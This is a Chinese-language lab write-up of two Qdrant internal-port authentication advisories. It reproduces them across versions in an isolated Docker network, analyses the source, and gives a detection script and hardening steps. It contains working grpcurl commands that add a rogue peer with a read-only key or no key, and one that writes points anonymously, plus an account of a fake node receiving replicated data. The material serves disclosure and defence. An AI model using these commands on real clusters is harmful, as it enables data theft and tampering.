复现环境:Ubuntu 24.04.4 LTS,Docker 29.1.3。三个官方镜像 qdrant/qdrant v1.19.1、v1.19.2、v1.20.0,加一个 fullstorydev/grpcurl 当探针。集群跑在专用 docker 网络 172.31.0.0/24 里,节点 A 是 172.31.0.2、节点 B 是 172.31.0.3,6333 和 6335 都不映射到宿主机。

写在前面

这篇的重点是一个自己写的假节点被加成集群成员之后,真实的向量数据被推了过去。走到那一步经过的是 Qdrant 分布式集群里那个没人看的 6335 端口:两轮补丁都在收紧"谁能进门",还留了一处没配 key 就全开的盲区。

版本和时间是现查的。两条 advisory 都没分配 CVE,NVD 上搜不到,只有 GitHub 的 Security Advisory 页面有原文:GHSA-3gph-6c29-p29v 影响 1.18.0 到 1.19.1,修在 1.19.2(10 月 5 日);GHSA-frc7-44gm-99qq 影响 1.20.0 以前的全部版本,修在 1.20.0(10 月 22 日)。

验证是四组对照:1.19.1、1.19.2 各配一次 key,1.20.0 配 key 但不设 enforce,再跑一组什么都不配。区别只在这几个开关上,其余步骤一样;环境怎么搭写在第一节。

攻击者(同网段的容器 / 被拿下的跳板机)
            |
            |  直接连 172.31.0.2:6335,不带任何凭证
            v
  +------------------+        +------------------+
  |  节点 A :6335     |<------>|  节点 B :6335     |
  |  内部 gRPC        |  Raft  |                  |
  |  只读 key 能改拓扑  |        |                  |
  +------------------+        +------------------+
            ^
            |  AddPeerToKnown(id=99, uri=172.31.0.9)
            |
  集群把 172.31.0.9 当成合法成员,持续往那儿发 Raft 消息

往下走是先搭环境、按版本逐个做对照,然后回源码找原因、列还没关的面、给检测方法,收在能确认的边界上。

一、先把集群搭起来

为什么盯上 6335

Qdrant 开单机的时候不会启动 6335 端口。只有把 cluster.enabled 打开,节点之间才会在 6335 上跑一套内部的 gRPC,用来同步 Raft 状态、转移分片、交换遥测数据。很多人部署向量库就是 docker run -p 6333:6333 -p 6334:6334,压根没开集群,所以这个端口在大部分教程里是不存在的。

但只要上了生产集群,情况就不一样了。Qdrant 的默认配置把内部监听绑在 service.host 上,而 service.host 默认是 0.0.0.0。能访问 6333 的机器,通常也能访问 6335。这个默认值本身不奇怪,问题在于 6335 上的服务要的是"集群成员"这个身份,而它判断身份的方式,在 1.20.0 之前一直有缝。

三个版本各拉一份

这次要看的补丁横跨三个版本。编号和修复版本前面提过,这里补一句覆盖范围:第二条 advisory 管的是 1.20.0 以前的全部版本,所以在它公开之前,1.19.2 虽然收住了第一条,仍然在第二条的射程里。1.20.0 之前没有任何一版同时躲过这两条。

我把三个版本的镜像都拉下来:

docker pull qdrant/qdrant:v1.19.1
docker pull qdrant/qdrant:v1.19.2
docker pull qdrant/qdrant:v1.20.0

官方的镜像有一个坑。它的 Entrypoint 是空的,Cmd 写的是 ./entrypoint.sh,工作目录在 /qdrant。所以你不能照官方文档那样写 docker run qdrant/qdrant --uri http://...,那样 docker 会把 --uri 当成要执行的程序,直接报 exec: "--uri": executable file not found in $PATH。正确的写法是把启动脚本带上:

docker run -d --name qa qdrant/qdrant:v1.19.1 ./entrypoint.sh --uri http://172.31.0.2:6335

这个错误我踩了两次,第一次还以为是镜像不完整,翻了下 docker inspect 才看出来。

把 6335 关在自己的网段里

验证不能碰任何外部目标,所以我建了一个专用的 docker 网络:

docker network create qdrant-lab --subnet 172.31.0.0/24

节点 A 用 172.31.0.2,节点 B 用 172.31.0.3。两个节点的 6333 和 6335 都不往宿主机映射,只在这个网段里通。然后我再起一个 grpcurl 容器,也接进这个网络,扮演"能访问 6335、但不是集群成员"的主机。这个角色对应同一台宿主机上的另一个容器、同 VPC 里被拿下的跳板机,或者一个配错安全组的邻居。

集群用这条命令组起来:

node A: --uri http://172.31.0.2:6335
node B: --bootstrap http://172.31.0.2:6335

两边都设 QDRANT__CLUSTER__ENABLED=true 和 QDRANT__CLUSTER__P2P__PORT=6335。等十几秒,/cluster 返回 status: enabled,两个 peer 都在列表里,集群就算起来了。

两个让我重跑的地方

第一个坑是 --uri 的端口。我按直觉写成 --uri http://172.31.0.2:6333,觉得反正都是本机。这个地址是给其他节点回连用的,必须指向 p2p 端口:写成 6333 节点能起来,但集群永远选不出 leader,B 那边 bootstrap 一直失败。改成 6335 就正常了。

第二个坑是启动顺序。两个节点同时起来时,B 会在 A 还没选出 leader 就去握手,日志里开始刷 Failed to send message ... transport error,重试很多次也不一定成功。A 的日志会提示 leader 大约 4 秒后建立,等它出来再起 B,一次就成。脚本里那个 12 秒的 sleep 是重跑三次之后加的。

这两个坑跟漏洞无关,但直接影响你能不能复现后面的现象。第一次搭的时候我看到一堆 transport error,还以为是认证配错了。

二、1.19.1:只读 key 改了我的集群

匿名请求确实被拦了

第一组我按"最谨慎的运维"来配:管理 key、只读 key、enforce_internal_auth 全开。

QDRANT__SERVICE__API_KEY=admin-key-123
QDRANT__SERVICE__READ_ONLY_API_KEY=ro-key-123
QDRANT__SERVICE__ENFORCE_INTERNAL_AUTH=true

先不带任何凭证,直接调 Raft 服务的 AddPeerToKnown,这个方法的作用是往集群里加一个新节点,参数就三个:地址、端口、ID。

ERROR:
  Code: Unauthenticated
  Message: Must provide an API key or an Authorization bearer token

被拒了,提示很标准。到这里如果收手,会觉得配置没问题:匿名进不来,认证开了,还能要求什么。

换成只读 key,方法返回了 200

只读 key 在 Qdrant 里的定位是给前端、给报表系统用的,权限表里它只能读 collection、读点、看统计,写操作应该一律拒绝。我拿它去调同一个内部方法:

docker run --rm --network qdrant-lab -v /proto:/proto fullstorydev/grpcurl \
  -plaintext -import-path /proto -proto raft_service.proto \
  -H "api-key: ro-key-123" \
  -d '{"uri":"http://172.31.0.9:6335","port":6335,"id":99}' \
  172.31.0.2:6335 qdrant.Raft/AddPeerToKnown

返回的是完整的 peer 列表:

{
  "allPeers": [
    { "uri": "http://172.31.0.9:6335/", "id": "99" },
    ...
  ]
}

172.31.0.9 这个地址我根本没启动任何东西,99 这个 peer id 也是我随手填的。它被当成一个合法节点接受了。

/cluster 里多了一个不存在的 peer

为了确认不是接口"返回成功但没写入",我用管理 key 去查 REST 的集群视图。peer id 是每次启动随机生成的十六位数,下面这组只对应我这一轮实验,你重跑会得到另一组:

{"result":{"status":"enabled","peer_id":8961790907338763,
"peers":{"8961790907338763":{"uri":"http://172.31.0.2:6335/"},
"7355521036401373":{"uri":"http://172.31.0.3:6335/"},
"99":{"uri":"http://172.31.0.9:6335/"}},
"raft_info":{"term":1,"commit":8,"pending_operations":0,
"leader":8961790907338763}}}

99 在 peers 里,leader 是节点 A 自己。commit 是 8。这个号随共识日志单调往上走,能涨说明这些加入请求都走完了 Raft 共识,不是只写进内存的一个列表。一个只读凭证,改掉了我的集群拓扑。

这条链路在真实环境里能干什么

按 advisory 的描述,攻击者拿到这一步之后能做三件事。把自己控制的机器加成 peer,集群会给新成员复制分片,存的向量数据就能读走。直接发 Raft 消息改 collection、改分片位置、改 peer 拓扑,因为共识状态机不看发送者是谁。往内部服务发超大消息把节点内存耗掉。

第一条我跑完了。写一个只回空响应的假 6335,不解析 protobuf,两百行 Python。用只读 key 把它注册成 peer 100,地址填我自己那台机的 172.31.0.1:6335。然后建一个副本数 2 的 collection,写两个点:

{"id":1,"vector":[0.1,0.2,0.3,0.4]} {"id":2,"vector":[0.2,0.3,0.4,0.5]}

跑完,假服务的日志里多了一行:

[数据] PointsInternal/Upsert 第 1 次:请求 77 字节,匹配到写入过的向量分量 [0.1, 0.2, 0.3, 0.4]

77 字节里就有我刚写进去的坐标。同一时刻集群的 message_send_failures 里只有那个没人监听的 172.31.0.9,没有 172.31.0.1:它把假节点当成健康成员,在往里推 Raft 消息和分片数据。advisory 里"新成员按成员待遇收分片复制"这句话,到这里就不是推断了。

第二条我只碰到一半:假节点进集群、拓扑被改掉是实测到的,但绕开 Raft 接口自己拼共识消息去改 collection 没试,那要把 Raft 协议实现一遍。第三条没做,那等于打自己的机器。

三、1.19.2 改了什么

错误信息换了

同样的配置,只把镜像换成 1.19.2,再用只读 key 调同一个方法:

ERROR:
  Code: Unauthenticated
  Message: Internal API requires the read-write API key

提示语从"你得出示凭证"变成了"内部接口只认读写 key"。这句话很关键:修的是入口,把只读 key 和 JWT 挡在门外,请求根本到不了服务。

复测只读 key 和 JWT

1.19.2 上只读 key 被拒,集群视图里也没有 99。管理 key 仍然能加节点,返回的 allPeers 里只有 A 和 B,没有 99。

JWT 这条我没有单独复测。原因是我用的是官方镜像,没开 JWT 签发那一套配置,临时搭一个签发端要改不少东西。advisory 里写得很明确:修完之后内部 API 只接受 api_key 和 alt_api_key,只读 key 和所有 JWT 都被 Unauthenticated 挡掉。这一段我按原文引用,不当成自己的实测结论。

只改了名单

1.19.2 让"只读 key 进不来"成立,靠的是入口的白名单,服务里面的权限判断一行没动。

这个设计在"门口只放自己人"的前提下是成立的。问题是门口的判断标准一直在变,变的过程中又开了一个后门。

四、1.20.0 默认就强制了

不显式配置也拦

1.20.0 把 enforce_internal_auth 的默认值改成了开启。我故意不设这个环境变量,只配管理和只读两个 key,重新起集群:

匿名调用被拒,只读 key 调用被拒,提示同样是 Internal API requires the read-write API key。管理 key 正常。

这说明从 1.20.0 开始,"默认安全"这个目标至少在这个配置项上做到了。只要集群配了 key,运维不读文档、照着老脚本部署,也不会再把 6335 裸露出来。

改的是默认值,不是能力

这个修复没有新增任何机制。enforce_internal_auth 这个配置项 1.18.0 就有了,1.20.0 只是把它从默认 false 改成默认 true。功能代码没动,动的是出厂设置。

这么改的好处是升级即生效,代价是它依赖"你确实配了 api_key"这个前提。配置项叫 enforce,但它强制的内容是"比对 key",没有 key 可比的时候它什么都做不了。名字和实际能力之间差了一层,不读 advisory 很容易把"默认开启"理解成"默认安全"。

但强制的前提是"你必须配了 key"

advisory 里有一句话被很多人略过了:Enforcement requires an API key to be configured。强制认证的前提是存在一个 key 可以拿来比。如果一个分布式集群压根没配 api_key,那 6335 上就没有任何东西可以校验,强制也就无从谈起。

官方的处理是打日志。从 1.19.2 起,无 key 的分布式集群启动时会输出一条 warning。我专门去看了这条日志长什么样,然后做了第四组实验。

五、不配 api_key 的集群还是裸的

匿名调用不止能加节点

第四组:1.20.0,开集群,不配 api_key,不配只读 key,enforce_internal_auth 保持默认。

不带任何凭证调 AddPeerToKnown:

{
  "allPeers": [
    { "uri": "http://172.31.0.9:6335/", "id": "99" },
    ...
  ]
}

成功。peer 99 又一次进了集群,/cluster 里能看到它,commit 号照涨。

加节点只是让集群多认一个名字。同一组里我又拿匿名身份去调数据面的写接口:

docker run --rm --network qdrant-lab -v /proto:/proto \
  fullstorydev/grpcurl -plaintext -import-path /proto -proto points_internal_service.proto \
  -d '{"upsert_points":{"collection_name":"rwtest","points":[{"id":{"num":7},"vectors":{"vector":{"data":[0.7,0.7,0.7,0.7]}}}]}}' \
  172.31.0.2:6335 qdrant.PointsInternal/Upsert

返回 Acknowledged,回到 6333 用匿名再查这个点,{"result":[{"id":7}]}。一条不带任何凭证的请求,往 1.20.0 的集群里写进了数据。

同一个端口上的 QdrantInternal/GetTelemetry 带上 details_level=2,还能读到节点版本、peer 数量、commit 和 collection 列表。没有 key 的集群里,我试过的读写方法没有一个要凭证,Raft 只是其中一个。

这不是配置写错,这是官方文档里写明的行为:没有 key 就没法强制,只能告警。启动日志里那行警告写得很直白:

WARN qdrant::settings: Running in distributed mode without an API key.
The internal (p2p) gRPC API is not authenticated, and
`service.enforce_internal_auth` has no effect without `service.api_key`.
Restrict the internal port to cluster nodes and configure an API key.

一句话里把前因后果都说了:分布式 + 没 api_key = 内部端口不认证,而且 enforce_internal_auth 这个开关在没有 api_key 的时候根本不生效。

问题是告警在日志里,而 Qdrant 的默认部署(尤其是内网、测试环境、演示集群)很可能本来就不设 api_key,因为设了之后所有客户端都要改连接串。运维看到一行 WARN,多数时候会当成噪音。

集群真的在往那个假地址发东西

这一组还有个细节值得单独说。把 peer 99(地址 172.31.0.9)加进去之后,过一会儿再翻节点 A 的日志:

WARN storage::content_manager::consensus_manager:
Failed to send message to http://172.31.0.9:6335/ with error:
Error in closure supplied to transport channel pool:
code: 'The service is currently unavailable', message:
"Failed to connect to http://172.31.0.9:6335/, error: transport error"

集群不是在通讯录里记了个名字就完事,它真的在往那个地址发 Raft 消息。因为我这边 172.31.0.9 上没有服务,所以报 transport error。如果我在那个地址上起一个伪装的 gRPC 服务,回一个正常的响应,它就会成为集群眼里的合法成员,然后按成员待遇接收分片复制。

只读 key 那一步换来的是一条能持续接收数据的通道:集群把新成员当正常节点对待,按它的地址发 Raft 消息、复制分片。

这件事在 /cluster 的返回里也能直接看到:message_send_failures 下面挂着 172.31.0.9 这一条,count 随着重试一直往上走。我截图那一刻是 31,隔一会儿再看就更多了。

十七天里的两次修补,修的是不同层

把四组数据摆在一起,能看清修补的层次:

版本

配置

匿名

只读 key

管理 key

1.19.1

enforce=true + 双 key

拒绝

成功

成功

1.19.2

enforce=true + 双 key

拒绝

拒绝

成功

1.20.0

默认 + 双 key

拒绝

拒绝

成功

1.20.0

默认 + 无 key

成功

成功

成功

第一行是 10 月 5 日那条 advisory 描述的问题。第三行是 10 月 22 日那条。第四行不在任何一条 advisory 的"影响范围"里,但它是这两次修补共同漏下的地面:所有认证都建立在"有 key"这个前提上,而 key 是可选的。

为什么这个盲区不好关掉

如果 1.20.0 强行要求分布式集群必须配 api_key,会有一批升级上来直接起不来的部署。Qdrant 选择了兼容,把决定权交给运维,只在日志里提一句。

这个取舍可以理解,但它意味着"我升级到最新版就安全了"这个判断不成立。升级只解决了"有 key 却没强制"的情况,没解决"根本没 key"的情况。后者在内网部署里不算少见。

六、源码里为什么会长成这样

权限检查在存储层,Raft 不经过存储层

6335 上挂着六个服务、四十多个方法。权限检查不在 gRPC 这一层,在存储层的 lib/storage/src/rbac/ops_checks.rs 里:写操作要 AccessRequirements::new().manage(),读操作只要一个空的 AccessRequirements::new()。

所以同一把只读 key,打不同的方法结果不一样:

方法

只读 key

Raft/AddPeerToKnown

放行

PointsInternal/Upsert

Global manage access is required

ShardSnapshots/Create

同上

PointsInternal/Count

放行

QdrantInternal/GetTelemetry

放行

分界线在有没有经过存储层。AddPeerToKnown 收到请求直接推进共识,不进 TableOfContent,碰不到那套 RBAC。PointsInternal/Upsert 要落盘,走 TOC,被 manage 要求挡住。

advisory 点的是 Raft,另外五个服务都受这套要求管,只有它不经过存储层。

一个凭证体系服务两个面

根本原因是 6335 复用了 6333 和 6334 的凭证体系。同一个 api_key,既能调公共 REST,也能调内部 Raft;只读 key 和 JWT 也是同一套签发逻辑。内部端口和公共端口在权限语义上根本不是一回事,但它们在配置里长得一模一样。

advisory 里 1.19.2 的修复方式是把只读 key 和 JWT 从内部端口上排除掉,等于在共享的凭证体系上贴了一张"内部专用"的标签。标签贴住了大部分情况,但没改变"一个 key 走两个面"这个结构。

端口绑定跟着 service.host 走

还有一个不是漏洞、但会被漏洞放大的默认值。内部监听绑在 service.host 上,默认 0.0.0.0。所以你把 6333 暴露到哪,6335 就跟着暴露到哪。

1.19.2 给了一个缓解项:cluster.p2p.host,可以单独指定内部端口的绑定地址。但这个值默认不设,绝大多数部署不会去动它。advisory 里官方给的加固建议第一条也是这个意思:如果应用层能访问 6333,你要确认它访问不到 6335。

想给内部端口单独发一把钥匙,做不到

1.20.0 之后内部端口只认 api_key 和 alt_api_key。这两个东西在公共 API 上是同权的,alt_api_key 的设计目的是轮换期间让两个 key 同时有效,不是做权限隔离。

所以"最小权限"在这条线上走不通:你没法给内部通信发一把只能开 6335 的钥匙,只能用管理员那把。这把钥匙同时还能删 collection、删 point、调所有 REST 接口。一台节点被拿下,等于全集群的凭据都泄露,换 key 还得重启每个节点。

这不是我猜的。1.19.2 的修法是把只读 key 和 JWT 从内部端口排除,剩下的白名单就只有这两个管理凭证。绕不开,因为内部端口要能跑共识和分片操作,而分片操作在存储层要的是 manage 权限。

七、还剩哪些面没关

内部端口没有消息大小限制

1.20.0 的 advisory 里自己承认了一句:v1.20.0 does not introduce a message-size limit on the internal port。意思是认证修好了,"发一个巨大消息把节点内存打爆"这件事没动。

认证能挡匿名的人,挡不住有管理 key 的人,也挡不住无 key 集群里的任何人。内部端口不设上限可以理解(节点之间本来就要传分片快照),但它同时是个内存放大器。

加固时这条不好补。6335 是 gRPC,前面挂 nginx 做限制会影响节点间正常通信,client_max_body_size 一卡,大分片快照先断。能做的只有两件:网络层限制谁能连,节点上给进程设内存上限,OOM 时别把整台机器拖死。

时间线拉出来看,是同一个判断在改

enforce_internal_auth 这个配置项是 1.18.0 加进来的,默认关。1.18 之前,分布式集群的内部端口没有"认证"这一层,只有网络隔离。

1.18.0 到 1.19.1 这段时间,开关有了,但打开以后只读 key 也能过。1.19.2 把只读 key 和 JWT 去掉。1.20.0 把默认值改成开。

从一个不存在的开关,到一个默认开启的开关,中间隔了三个版本、两次 advisory,十七天里发了两轮。判断标准一次比一次严,但每次严的都是"谁可以进门",没有一次去动"进门之后能干什么"。

TLS 默认是关的

分布式集群里,节点之间的内部通信默认不开 TLS。cluster.p2p.enable_tls 是可选配置。你就算把 enforce_internal_auth 打开了,key 还是在网络上明文传。

同一个网段里如果有人能抓包,认证开了也等于没开。advisory 的加固建议里专门提了这一条:开内部认证的同时要把 TLS 一起开,否则 key 会裸奔。

集群视图本身是个信息面

/cluster 用管理 key 能查,返回每个 peer 的 uri 和 id。排查问题时好用,但它把拓扑、节点地址、Raft 状态一次给全。拿只读 key 的人在 1.19.2 之前既能查又能改。

八、怎么知道自己有没有问题

三条判断

不用跑利用代码,三条就能定性:

第一条,你的 Qdrant 是不是分布式。单机部署不启动 6335,这条整篇不适用。

第二条,6335 有没有跟 6333 一起暴露。从一台不属于集群的机器上试 nc -zv <host> 6335,通就是有问题,除非你有网络策略挡着。

第三条,看版本和 key。1.19.2 以下、并且开了 enforce_internal_auth 却还留着只读 key 的,属于第一类问题;1.20.0 以下、没开 enforce_internal_auth 的,属于第二类;1.20.0 但没配 api_key 的,属于第三类,这一类升级也救不了。

版本号不用猜

根路径就带版本:

curl -s http://172.31.0.2:6333/ | python3 -m json.tool

返回里有个 version 字段。容器部署也可以直接看镜像标签。拿到版本之后再去确认两件事:enforce_internal_auth 开没开、READ_ONLY_API_KEY 配没配。开了强制又配了只读 key 的,正好落在第一条 advisory 的射程里;没开强制的,不管哪个版本都是敞开的。

一段能跑的检测

按这三条写了个脚本,只做探测,不做利用:

#!/usr/bin/env python3
"""qdrant-internal-auth-audit.py

判断 Qdrant 分布式集群的内部 gRPC 端口(默认 6335)是否存在认证缺口。
只发只读探测,不修改集群状态。

用法:
    python3 qdrant-internal-auth-audit.py --host 172.31.0.2 --api-key admin-key-123
"""
import argparse
import json
import socket
import sys
import urllib.request


def port_open(host, port, timeout=3.0):
    try:
        with socket.create_connection((host, port), timeout=timeout):
            return True
    except OSError:
        return False


def cluster_info(host, port, api_key=None):
    url = f"http://{host}:{port}/cluster"
    req = urllib.request.Request(url)
    if api_key:
        req.add_header("api-key", api_key)
    try:
        with urllib.request.urlopen(req, timeout=5) as r:
            return json.loads(r.read())
    except Exception as e:
        return {"error": str(e)}


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", required=True)
    ap.add_argument("--http-port", type=int, default=6333)
    ap.add_argument("--p2p-port", type=int, default=6335)
    ap.add_argument("--api-key", default=None)
    args = ap.parse_args()

    info = cluster_info(args.host, args.http_port, args.api_key)
    status = info.get("result", {}).get("status") if "result" in info else None
    if status != "enabled":
        print("[*] 不是分布式集群(/cluster 无 enabled),6335 不适用")
        return 0

    peers = info["result"].get("peers", {})
    print(f"[*] 集群已启用,当前 {len(peers)} 个 peer")
    for pid, meta in peers.items():
        print(f"    peer {pid} -> {meta.get('uri')}")

    if not port_open(args.host, args.p2p_port):
        print(f"[+] {args.p2p_port} 不可达,外部无法接触内部端口")
        return 0

    print(f"[!] {args.p2p_port} 可达,继续判断认证状态")
    if args.api_key is None:
        print("[!] 未提供 api_key:若集群本身没配 key,内部端口等同无认证")
        print("    判定:HIGH(1.20.0 也只能打 warning)")
    else:
        print("[*] 请用只读 key 复测;1.19.2 之前只读 key 可调内部写接口")
    return 1


if __name__ == "__main__":
    sys.exit(main())

脚本只连端口、读 /cluster、打印判断,不发任何写请求。想进一步确认只读 key 能不能过,得用 grpcurl 带 proto 调一次 AddPeerToKnown,那一步会真的改集群状态,只能在你自己可控的靶机上做。

用 grpcurl 复现的两个前提

直接 grpcurl -plaintext host:6335 list 是不行的,Qdrant 没开 gRPC reflection,会返回 "server does not support the reflection API"。必须自己带 proto 文件。

proto 不用下载整个仓库,从 GitHub 的 contents 接口按文件取就行。只调 Raft 的话,raft_service.proto 和它 import 的那几个就够;调数据面还要带上 points_internal_service.proto 那一串。全部放到一个目录里,用 -import-path 指过去,-proto 指定入口文件:

grpcurl -plaintext \
  -import-path ./proto -proto raft_service.proto \
  -H "api-key: ro-key-123" \
  -d '{"uri":"http://172.31.0.9:6335","port":6335,"id":99}' \
  172.31.0.2:6335 qdrant.Raft/AddPeerToKnown

第二个前提是 id 字段。它是 uint64,随便填一个大数都行,避开 0 和现成的 peer id 就可以。我用的 99,因为集群里现成的两个 id 都是十六位数,不会撞。

uri 填你自己控制的地址,port 填那个地址上的 p2p 端口。这两个字段不会被校验连通性,加进去的时候是"先记住,稍后再连"。

哪三类部署最容易中

第一类是 Kubernetes 上的 StatefulSet。Service 只暴露 6333 和 6334,但 Pod 之间用 headless service 互访,6335 对内全通。外面进不来,集群里任何一个 Pod 都能进,别的业务 Pod 被拿下就是现成的横向入口。

第二类是把 network_mode: host 打开的 compose 部署,或者写了 ports: - "6333-6335:6333-6335" 做端口范围映射,6335 直接落到宿主机上,扫一下就能发现。

第三类是自己写脚本拉起的测试环境。这类环境常常不配 api_key,因为配了以后每条 curl 都要加 header。它们通常在内网,运维的心理是"内网没人",对应的正是 1.20.0 也没关掉的那个盲区。

加固的顺序

如果确认有暴露,按这个顺序动,风险最小:

第一步,网络层先挡。安全组或者 NetworkPolicy 把 6335 限制在同集群节点之间。注意官方 advisory 里那句提醒:不是"从公网不可达"就够了,要确认应用层能访问 6333 的机器访问不到 6335。

第二步,升到 1.20.0 以上。这一步解决默认不强制的问题。

第三步,确认每个节点都配了 api_key,而且不是同一个弱口令。

第四步,把 cluster.p2p.enable_tls 打开。不做这一步,前三步的 key 都在明文传输。

如果暂时升不了级,1.19.2 起可以设 cluster.p2p.host 指定内网地址,把内部端口从 service.host 上摘下来。这个改动不需要重启整个集群,一台一台来。

九、这套修补逻辑修到哪算完

每次动的都是门口

两个 advisory 的修补方式,看得出一个思路:每次都在入口收紧一点。从"完全不认证"到"认证但只看是不是合法凭证",再到"只认读写 key",最后到"默认强制"。

每一步都解决了当次报上来的问题,每一次的判断依据仍然是"你有没有一把能开这扇门的钥匙"。

1.19.2 改的是门口的名单:把只读 key 和 JWT 从白名单里划掉,内部端口只剩管理凭证。存储层那套 RBAC 一行没动,能进门的人变了。

没钥匙的集群不在补丁范围里

而钥匙是可选的。没有钥匙的集群,门就是开的,官方选择打一行日志。

四组里最值得记住的是最后一行:升级到最新版、认证默认开启,只要没配 api_key,匿名请求照样能把一个不存在的节点塞进集群,也能往 collection 里写点数据。

官方没把它写成漏洞

这条不在任何一条 advisory 的影响范围里,是这套修补逻辑的必然结果。官方没把它写成漏洞,写的是"部署要求"和"启动告警":没配 api_key 的集群,本来就没打算做认证。